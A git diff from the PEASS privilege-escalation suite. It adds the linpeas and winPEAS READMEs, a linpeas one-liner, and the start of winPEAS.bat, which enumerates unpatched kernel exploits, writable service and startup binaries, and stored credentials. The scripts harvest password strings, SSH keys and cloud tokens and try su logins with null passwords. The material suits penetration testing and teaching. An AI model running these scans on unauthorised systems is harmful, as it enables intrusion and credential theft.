-o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | grep -v '/sys/fs'| sort | uniq >> $file;for g in `groups`; do find / \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME | grep -v '/sys/fs'; done >> $file;echo "" >> $file;printf $Y"[+] "$RED"Web files?(output limited)\n"$NC >> $file;ls -alhR /var/www/ 2>/dev/null | head >> $file;ls -alhR /srv/www/htdocs/ 2>/dev/null | head >> $file;ls -alhR /usr/local/www/apache22/data/ 2>/dev/null | head >> $file;ls -alhR /opt/lampp/htdocs/ 2>/dev/null | head >> $file;echo "" >> $file;printf $Y"[+] "$RED"Backup files?\n"$NC >> $file;find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*back*" -o -name "*bck*" \) 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Find IPs inside logs\n"$NC >> $file;grep -a -R -o '[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}' /var/log/ 2>/dev/null | sort | uniq >> $file;echo "" >> $file;printf $Y"[+] "$RED"Find 'password' or 'passw' string inside /home, /var/www, /var/log, /etc\n"$NC >> $file;grep -lRi "password\|passw" /home /var/www /var/log 2>/dev/null | sort | uniq >> $file;echo "" >> $file;printf $Y"[+] "$RED"Sudo -l (you need to puts the password and the result appear in console)\n"$NC >> $file;sudo -l; +``` +## What does linpeas look for +
+ Details + +- **System Information** + - [x] SO & kernel version + - [x] Sudo version + - [x] PATH + - [x] Date + - [x] System stats + - [x] Environment vars + - [x] SElinux + - [x] Printers + - [x] Dmesg (signature verifications) + - [x] Container? + +- **Devices** + - [x] sd* in /dev + - [x] Unmounted filesystems + +- **Available Software** + - [x] Useful software + - [x] Installed compilers + +- **Processes & Cron & Services** + - [x] Cleaned processes + - [x] Binary processes permissions + - [x] Different processes executed during 1 min + - [x] Cron jobs + - [x] Services + +- **Network Information** + - [x] Hostname, hosts & dns + - [x] Content of /etc/inetd.conf + - [x] Networks and neighbours + - [x] Iptables rules + - [x] Active ports + - [x] Sniff permissions (tcpdump) + +- **Users Information** + - [x] Info about current user + - [x] PGP keys + - [x] `sudo -l` without password + - [x] doas config file + - [x] Pkexec policy + - [x] Try to login using `su` as other users (using null pass and the username) + - [x] List of superusers + - [x] List of users with console + - [x] Login info + - [x] List of all users + - [x] Clipboard and highlighted text + +- **Software Information** + - [x] MySQl (Version, user being configured, loging as "root:root","root:toor","root:", user hashes extraction via DB and file, possible backup user configured) + - [x] PostgreSQL (Version, try login in "template0" and "template1" as: "postgres:", "psql:") + - [x] Apache (Version) + - [x] PHP cookies + - [x] Wordpress (Database credentials) + - [x] Tomcat (Credentials) + - [x] Mongo (Version) + - [x] Supervisor (Credentials) + - [x] Cesi (Credentials) + - [x] Rsyncd (Credentials) + - [x] Hostapd (Credentials) + - [x] Wifi (Credentials) + - [x] Anaconda-ks (Credentials) + - [x] VNC (Credentials) + - [x] LDAP database (Credentials) + - [x] Open VPN files (Credentials) + - [x] SSH (private keys, known_hosts, authorized_hosts, authorized_keys, main config parameters in sshd_config, certificates, agents) + - [X] PAM-SSH (Unexpected "auth" values) + - [x] Cloud Credentials (credenals-AWS-, credentials.gb-GC-, legacy_credentials-GC-, access_tokens.db-GC-, accessTokens.json-Azure-, azureProfile.json-Azure-) + - [x] NFS (privilege escalation misconfiguration) + - [x] Kerberos (configuration & tickets in /tmp) + - [x] Kibana (credentials) + - [x] Logstash (Username and possible code execution) + - [x] Elasticseach (Config info and Version via port 9200) + - [x] Vault-ssh (Config values, secrets list and .vault-token files) + - [x] screen and tmux sessions + + +- **Generic Interesting Files** + - [x] SUID & SGID files + - [x] Capabilities + - [x] .sh scripts in PATH + - [x] Hashes (passwd, shadow & master.passwd) + - [x] Try to read root dir + - [x] Files owned by root inside /home + - [x] List of readable files belonging to root and not world readable + - [x] Root files inside a folder owned by the current user + - [x] Reduced list of files inside my home and /home + - [x] Mails + - [x] Backup files + - [x] DB files + - [x] Web files + - [x] Files that can contain passwords (and search for passwords inside *_history files) + - [x] List of all hidden files + - [x] List ALL writable files for current user (global, user and groups) + - [x] Inside /tmp, /var/tmp and /var/backups + - [x] Password ins config PHP files + - [x] Get IPs, passwords and emails from logs + - [x] password or credential files in home + - [x] "pwd" and "passw" inside files (and get most probable lines) +
+ +## Do not fork it!! + +If you want to **add something** and have **any cool idea** related to this project, please let me know it using the [github issues](https://github.com/carlospolop/privilege-escalation-awsome-scripts-suite/issues) and we will update the master version. + +## TODO + +- Add more checks +- Mantain updated the list of vulnerable SUID binaries +- Mantain updated all the blacklists used to color the output +- Support for MacOS + +If you want to help with any of this, you can do it using [github issues](https://github.com/carlospolop/privilege-escalation-awsome-scripts-suite/issues) or you can submit a pull request. + +If you find any issue, please report it using [github issues](https://github.com/carlospolop/privilege-escalation-awsome-scripts-suite/issues). + + +**Linpeas** is being **updated** every time I find something that could be useful to escalate privileges. + +## License + +MIT License + +By Polop(TM) diff --git a/linPEAS/images/help.png b/linPEAS/images/help.png new file mode 100755 index 0000000..babaa4a Binary files /dev/null and b/linPEAS/images/help.png differ diff --git a/linPEAS/images/network.png b/linPEAS/images/network.png new file mode 100755 index 0000000..66d7298 Binary files /dev/null and b/linPEAS/images/network.png differ diff --git a/linpeas.sh b/linPEAS/linpeas.sh similarity index 99% rename from linpeas.sh rename to linPEAS/linpeas.sh index 15635ea..c452cad 100755 --- a/linpeas.sh +++ b/linPEAS/linpeas.sh @@ -203,8 +203,8 @@ HELP=$GREEN"Enumerate and search Privilege Escalation vectors.\n\ $Y\t-s$B SuperFast (don't check 1min of processes and other time consuming checks bypassed)\n\ $Y\t-n$B Do not export env variables related with history\n\ $Y\t-d $B Discover hosts using fping or ping.$DG Ex: -d 192.168.0.1/24 - $Y\t-p -d $B Discover hosts looking for tcp open ports (via nc). By default ports 80,443,445,3389 will be checked but you have to add another one to indicate you want to discover using TCP (you can select 22 if you don't want to add more). You can also indicate a list of ports to add.$DG Ex: -d 192.168.0.1/24 -p 53,139 - $Y\t-i [-p ]$B Scan an IP using nc. If you don't select ports top1000 of nmap will be scanned but if you wish, you can select a list of ports (and only those will be scanned).$DG Ex: -i 127.0.0.1 -p 53,80,443,8000,8080" + $Y\t-p -d $B Discover hosts looking for TCP open ports (via nc). By default ports 80,443,445,3389 and another one indicated by you will be scanned (select 22 if you don't want to add more). You can also add a list of ports.$DG Ex: -d 192.168.0.1/24 -p 53,139 + $Y\t-i [-p ]$B Scan an IP using nc. By default (no -p), top1000 of nmap will be scanned, but you can select a list of ports instead.$DG Ex: -i 127.0.0.1 -p 53,80,443,8000,8080" while getopts "h?fsd:p:i:" opt; do case "$opt" in @@ -414,7 +414,6 @@ echo "Green: Common things (users, groups, SUID/SGID, mounts, .sh scripts) " | s echo "LightMangenta: Your username" | sed "s,LightMangenta,${C}[1;95m&${C}[0m," if [ "$(/usr/bin/id -u)" -eq "0" ]; then echo " YOU ARE ALREADY ROOT!!! (it could take longer to complete execution)" | sed "s,YOU ARE ALREADY ROOT!!!,${C}[1;31;103m&${C}[0m," - sleep 3 2>/dev/null fi echo "" echo "" @@ -444,13 +443,8 @@ if [ "$SCAN_BAN_GOOD" ]; then else printf $RED"[-] $SCAN_BAN_BAD\n"$NC fi -<<<<<<< HEAD -if [ "`which nmap`" ];then - NMAP_GOOD=$GREEN"nmap$B is available for network discover & port scanning, use it yourself" -======= if [ "`which nmap 2>/dev/null`" ];then NMAP_GOOD=$GREEN"nmap$B is available for network discover & port scanning, you use use it yourself" ->>>>>>> fc361b128caf52e0a3b243379cacfee3d358e45c printf $Y"[+] $NMAP_GOOD\n"$NC fi echo "" diff --git a/winPEAS/README.md b/winPEAS/README.md new file mode 100755 index 0000000..9af91b8 --- /dev/null +++ b/winPEAS/README.md @@ -0,0 +1,13 @@ +# Windows Privilege Escalation Awsome Scripts + +Check the **Local Windows Privilege Escalation checklist** from [book.hacktricks.xyz](https://book.hacktricks.xyz/windows/checklist-windows-privilege-escalation) + +Check more **information about how to exploit** found misconfigurations in [book.hacktricks.xyz](https://book.hacktricks.xyz/windows/windows-local-privilege-escalation) + +## WinPEAS .exe and .bat +- [Link to WinPEAS C# project (.exe)](https://github.com/carlospolop/privilege-escalation-awsome-scripts-suite/winpeas/winpeasexe) +- [Link to WinPEAS .bat project](https://github.com/carlospolop/privilege-escalation-awsome-scripts-suite/winpeas/winpeasbat) Notice that WinPEAS.bat is a batch script made for Windows systems which don't support WinPEAS.exe (Net.4 required) + +## Do not fork it!! + +If you want to **add something** and have **any cool idea** related to this project, please let me know it using the [github issues](https://github.com/carlospolop/privilege-escalation-awsome-scripts-suite/issues) and we will update the master version. \ No newline at end of file diff --git a/winPEAS/winPEASbat/README.md b/winPEAS/winPEASbat/README.md new file mode 100755 index 0000000..ee97064 --- /dev/null +++ b/winPEAS/winPEASbat/README.md @@ -0,0 +1,129 @@ +# Windows Privilege Escalation Awsome Script (.bat) + +**WinPEAS is a script that searh for possible paths to escalate privileges on Windows hosts. The checks are explained on [book.hacktricks.xyz](https://book.hacktricks.xyz/windows/windows-local-privilege-escalation)** + +Check also the **Local Windows Privilege Escalation checklist** from [book.hacktricks.xyz](https://book.hacktricks.xyz/windows/checklist-windows-privilege-escalation) + +### WinPEAS.bat is a batch script made for Windows systems which don't support WinPEAS.exe (Net.4 required) + +Unfortunately this script **does not support colors** so you will need to know what are you looking for in each test and, also, you will have to know how to learn the icacls output, see below. + +## Windows PE using CMD (.bat) + +If you want to search for files and registry that could contain passwords, set to *yes* the *long* variable at the beginning of the script. + +The script will use acceschk.exe if it is available (with that name). But it is not necessary, it also uses wmic + icacls. + +Some of the tests in this script were extracted from **[here](https://github.com/enjoiz/Privesc/blob/master/privesc.bat)** and from **[here](https://github.com/codingo/OSCP-2/blob/master/Windows/WinPrivCheck.bat)** + + +### Main checks + +
+ Details + +- [x] Systeminfo --SO version and patches-- (windows suggester) +- [x] Common known exploits (2K, XP, 2K3, 2K8, Vista, 7) +- [x] Audit Settings +- [x] WEF Settings +- [x] LAPS installed? +- [x] UAC Settings +- [x] AV? +- [x] PS Settings +- [x] Mounted disks +- [x] SCCM installed? +- [x] Remote Desktop Credentials Manager? +- [x] WSUS Settings +- [x] Processes list +- [x] Interesting file permissions of binaries being executed +- [x] Interesting file permissions of binaries run at startup +- [x] AlwaysInstallElevated? +- [x] Network info (see below) +- [x] Users info (see below) +- [x] Current user privileges +- [x] Service binary permissions +- [x] Check if permissions to modify any service registy +- [x] Unquoted Service paths +- [x] DLL Hijacking in PATH +- [x] Windows Vault +- [x] DPAPI Master Keys +- [x] AppCmd.exe? +- [x] Search for known registry to have passwords inside +- [x] Search for known files to have passwords inside (can take some minutes) +- [x] If *long*, search files with passwords inside +- [x] If *long*, search registry with passwords inside + +### More enumeration + +- [x] Date & Time +- [x] Env +- [x] Installed Software +- [x] Running Processes +- [x] Current Shares +- [x] Network Interfaces +- [x] Used Ports +- [x] Firewall +- [x] ARP +- [x] Routes +- [x] Hosts +- [x] Cached DNS +- [x] Info about current user (PRIVILEGES) +- [x] List groups (info about administrators) +- [x] Current logon users + +
+ +### Understanding icacls permissions + +Icacls is the program used to check the rights that groups and users have in a file or folder. + +Iclals is the main binary used here to check permissions. + +Its output is not intuitive so if you are not familiar with the command, continue reading. Take into account that in XP you need administrators rights to use icacls (for this OS is very recommended to upload sysinternals accesschk.exe to enumerate rights). + +**Interesting permissions** + +``` +D - Delete access +F - Full access (Edit_Permissions+Create+Delete+Read+Write) +N - No access +M - Modify access (Create+Delete+Read+Write) +RX - Read and eXecute access +R - Read-only access +W - Write-only access +``` + +We will focus in **F** (full), **M** (Modify access) and **W** (write). + +**Use of Icacls by WinPEAS** + +When checking rights of a file or a folder the script search for the strings: *(F)* or *(M)* or *(W)* and the string ":\" (so the path of the file being checked will appear inside the output). + +It also checks that the found right (F, M or W) can be exploited by the current user. + +A typical output where you dont have any nice access is: +``` +C:\Windows\Explorer.EXE NT SERVICE\TrustedInstaller:(F) +``` + +An output where you have some interesting privilege will be like: +``` +C:\Users\john\Desktop\desktop.ini NT AUTHORITY\SYSTEM:(I)(F) + MYDOMAIN\john:(I)(F) +``` + +Here you can see that the privileges of user *NT AUTHORITY\SYSTEM* appears in the output because it is in the same line as the path of the binary. However, in the next line, you can see that our user (john) has full privileges in that file. + +This is the kind of outpuf that you have to look for when usnig the winPEAS.bat script. + +[More info about icacls here](https://ss64.com/nt/icacls.html) + +## Do not fork it!! + +If you want to **add something** and have **any cool idea** related to this project, please let me know it using the [github issues](https://github.com/carlospolop/privilege-escalation-awsome-scripts-suite/issues) and we will update the master version. + +## License + +MIT License + +By Polop(TM) diff --git a/winPEAS/winPEASbat/winPEAS.bat b/winPEAS/winPEASbat/winPEAS.bat new file mode 100755 index 0000000..286c283 --- /dev/null +++ b/winPEAS/winPEASbat/winPEAS.bat @@ -0,0 +1,383 @@ +@echo off + +set long=no + +echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [*] BASIC SYSTEM INFO ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] WINDOWS OS ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +echo [i] Check for vulnerabilities for the OS version with the applied patches +echo [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#kernel-exploits +systeminfo +echo. +wmic qfe get Caption,Description,HotFixID,InstalledOn | more +echo. +echo. +set expl=no +for /f "tokens=3-9" %%a in ('systeminfo') do (echo "%%a %%b %%c %%d %%e %%f %%g" | findstr /i "2000 XP 2003 2008 vista" && set expl=yes) & (echo "%%a %%b %%c %%d %%e %%f %%g" | findstr /i /C:"windows 7" && set expl=yes) +IF "%expl%" == "yes" echo [i] Possible exploits (https://github.com/codingo/OSCP-2/blob/master/Windows/WinPrivCheck.bat) +IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB2592799" 1>NUL +IF "%expl%" == "yes" IF errorlevel 1 echo MS11-080 patch is NOT installed! (Vulns: XP/SP3,2K3/SP3-afd.sys) +IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB3143141" 1>NUL +IF "%expl%" == "yes" IF errorlevel 1 echo MS16-032 patch is NOT installed! (Vulns: 2K8/SP1/2,Vista/SP2,7/SP1-secondary logon) +IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB2393802" 1>NUL +IF "%expl%" == "yes" IF errorlevel 1 echo MS11-011 patch is NOT installed! (Vulns: XP/SP2/3,2K3/SP2,2K8/SP2,Vista/SP1/2,7/SP0-WmiTraceMessageVa) +IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB982799" 1>NUL +IF "%expl%" == "yes" IF errorlevel 1 echo MS10-59 patch is NOT installed! (Vulns: 2K8,Vista,7/SP0-Chimichurri) +IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB979683" 1>NUL +IF "%expl%" == "yes" IF errorlevel 1 echo MS10-21 patch is NOT installed! (Vulns: 2K/SP4,XP/SP2/3,2K3/SP2,2K8/SP2,Vista/SP0/1/2,7/SP0-Win Kernel) +IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB2305420" 1>NUL +IF "%expl%" == "yes" IF errorlevel 1 echo MS10-092 patch is NOT installed! (Vulns: 2K8/SP0/1/2,Vista/SP1/2,7/SP0-Task Sched) +IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB981957" 1>NUL +IF "%expl%" == "yes" IF errorlevel 1 echo MS10-073 patch is NOT installed! (Vulns: XP/SP2/3,2K3/SP2/2K8/SP2,Vista/SP1/2,7/SP0-Keyboard Layout) +IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB4013081" 1>NUL +IF "%expl%" == "yes" IF errorlevel 1 echo MS17-017 patch is NOT installed! (Vulns: 2K8/SP2,Vista/SP2,7/SP1-Registry Hive Loading) +IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB977165" 1>NUL +IF "%expl%" == "yes" IF errorlevel 1 echo MS10-015 patch is NOT installed! (Vulns: 2K,XP,2K3,2K8,Vista,7-User Mode to Ring) +IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB941693" 1>NUL +IF "%expl%" == "yes" IF errorlevel 1 echo MS08-025 patch is NOT installed! (Vulns: 2K/SP4,XP/SP2,2K3/SP1/2,2K8/SP0,Vista/SP0/1-win32k.sys) +IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB920958" 1>NUL +IF "%expl%" == "yes" IF errorlevel 1 echo MS06-049 patch is NOT installed! (Vulns: 2K/SP4-ZwQuerySysInfo) +IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB914389" 1>NUL +IF "%expl%" == "yes" IF errorlevel 1 echo MS06-030 patch is NOT installed! (Vulns: 2K,XP/SP2-Mrxsmb.sys) +IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB908523" 1>NUL +IF "%expl%" == "yes" IF errorlevel 1 echo MS05-055 patch is NOT installed! (Vulns: 2K/SP4-APC Data-Free) +IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB890859" 1>NUL +IF "%expl%" == "yes" IF errorlevel 1 echo MS05-018 patch is NOT installed! (Vulns: 2K/SP3/4,XP/SP1/2-CSRSS) +IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB842526" 1>NUL +IF "%expl%" == "yes" IF errorlevel 1 echo MS04-019 patch is NOT installed! (Vulns: 2K/SP2/3/4-Utility Manager) +IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB835732" 1>NUL +IF "%expl%" == "yes" IF errorlevel 1 echo MS04-011 patch is NOT installed! (Vulns: 2K/SP2/3/4,XP/SP0/1-LSASS service BoF) +IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB841872" 1>NUL +IF "%expl%" == "yes" IF errorlevel 1 echo MS04-020 patch is NOT installed! (Vulns: 2K/SP4-POSIX) +IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB2975684" 1>NUL +IF "%expl%" == "yes" IF errorlevel 1 echo MS14-040 patch is NOT installed! (Vulns: 2K3/SP2,2K8/SP2,Vista/SP2,7/SP1-afd.sys Dangling Pointer) +IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB3136041" 1>NUL +IF "%expl%" == "yes" IF errorlevel 1 echo MS16-016 patch is NOT installed! (Vulns: 2K8/SP1/2,Vista/SP2,7/SP1-WebDAV to Address) +IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB3057191" 1>NUL +IF "%expl%" == "yes" IF errorlevel 1 echo MS15-051 patch is NOT installed! (Vulns: 2K3/SP2,2K8/SP2,Vista/SP2,7/SP1-win32k.sys) +IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB2989935" 1>NUL +IF "%expl%" == "yes" IF errorlevel 1 echo MS14-070 patch is NOT installed! (Vulns: 2K3/SP2-TCP/IP) +IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB2778930" 1>NUL +IF "%expl%" == "yes" IF errorlevel 1 echo MS13-005 patch is NOT installed! (Vulns: Vista,7,8,2008,2008R2,2012,RT-hwnd_broadcast) +IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB2850851" 1>NUL +IF "%expl%" == "yes" IF errorlevel 1 echo MS13-053 patch is NOT installed! (Vulns: 7SP0/SP1_x86-schlamperei) +IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB2870008" 1>NUL +IF "%expl%" == "yes" IF errorlevel 1 echo MS13-081 patch is NOT installed! (Vulns: 7SP0/SP1_x86-track_popup_menu) +echo. +echo. +echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] DATE and TIME ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +echo [i] You may need to adjust your local date/time to exploit some vulnerability +date /T +time /T +echo. +echo. +echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] Audit Settings ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +echo [i] Check what is being logged +REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit +echo. +echo. +echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] WEF Settings ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +echo [i] Check where are being sent the logs +REG QUERY HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager +echo. +echo. +echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] LAPS installed? ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +echo [i] Check what is being logged +REG QUERY "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft Services\AdmPwd" /v AdmPwdEnabled +echo. +echo. +echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] UAC Settings ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +echo [i] If the results read ENABLELUA REG_DWORD 0x1, part or all of the UAC components are on +echo [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#basic-uac-bypass-full-file-system-access +REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA +echo. +echo. +echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] Registered Anti-Virus(AV) ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List | more +echo. +echo. +echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] PS settings ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +echo PowerShell v2 Version: +REG QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine /v PowerShellVersion +echo PowerShell v5 Version: +REG QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\3\PowerShellEngine /v PowerShellVersion +echo Transcriptions Settings: +REG QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription +echo Module logging settings: +REG QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging +echo Scriptblog logging settings: +REG QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging +echo. +echo. +echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] MOUNTED DISKS ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +echo [i] Maybe you find something interesting +(wmic logicaldisk get caption 2>nul | more) || (fsutil fsinfo drives 2>nul) +echo. +echo. +echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] ENVIRONMENT ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +echo [i] Interesting information? +set +echo. +echo. +echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] INSTALLED SOFTWARE ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +echo [i] Some weird software? Check for vulnerabilities in unknow software installed +echo [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#software +dir /b "C:\Program Files" "C:\Program Files (x86)" | sort +reg query HKEY_LOCAL_MACHINE\SOFTWARE +IF exist C:\Windows\CCM\SCClient.exe echo SCCM is installed (installers are run with SYSTEM privileges, many are vulnerable to DLL Sideloading) +echo. +echo. +echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] Remote Desktop Credentials Manager ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +echo [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#remote-desktop-credential-manager +IF exist "%AppLocal%\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings" echo Found: RDCMan.settings in %AppLocal%\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings, check for credentials in .rdg files +echo. +echo. +echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] WSUS ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +echo [i] You can inject 'fake' updates into non-SSL WSUS traffic (WSUXploit) +echo [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#wsus +reg query HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate\ 2>nul | findstr /i "wuserver" | findstr /i "http://" +echo. +echo. +echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] RUNNING PROCESSES ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +echo [i] Something unexpected is running? Check for vulnerabilities +echo [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#running-processes +tasklist /SVC +echo. +echo [i] Checking file permissions of running processes (File backdooring - maybe the same files start automatically when Administrator logs in) +for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do ( + for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do ( + icacls "%%z" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. + ) +) +echo. +echo [i] Checking directory permissions of running processes (DLL injection) +for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do ( + icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. +) +echo. +echo. +echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] RUN ^AT STARTUP ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +echo [i] Check if you can modify any binary that is going to be executed by admin or if you can impersonate a not found binary +echo [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#run-at-startup +::(autorunsc.exe -m -nobanner -a * -ct /accepteula 2>nul || wmic startup get caption,command 2>nul | more & ^ +reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run 2>nul & ^ +reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce 2>nul & ^ +reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run 2>nul & ^ +reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce 2>nul & ^ +icacls "C:\Documents and Settings\All Users\Start Menu\Programs\Startup" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. & ^ +icacls "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\*" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. & ^ +icacls "C:\Documents and Settings\%username%\Start Menu\Programs\Startup" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. & ^ +icacls "C:\Documents and Settings\%username%\Start Menu\Programs\Startup\*" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. & ^ +icacls "%programdata%\Microsoft\Windows\Start Menu\Programs\Startup" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. & ^ +icacls "%programdata%\Microsoft\Windows\Start Menu\Programs\Startup\*" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. & ^ +icacls "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. & ^ +icacls "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\*" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. & ^ +schtasks /query /fo TABLE /nh | findstr /v /i "disable deshab informa") +echo. +echo. +echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] AlwaysInstallElevated? ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +echo [i] If '1' then you can install a .msi file with admin privileges ;) +echo [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#alwaysinstallelevated +reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 2> nul +reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 2> nul +echo. +echo. +echo. +echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [*] NETWORK ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +echo. +echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] CURRENT SHARES ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +net share +echo. +echo. +echo 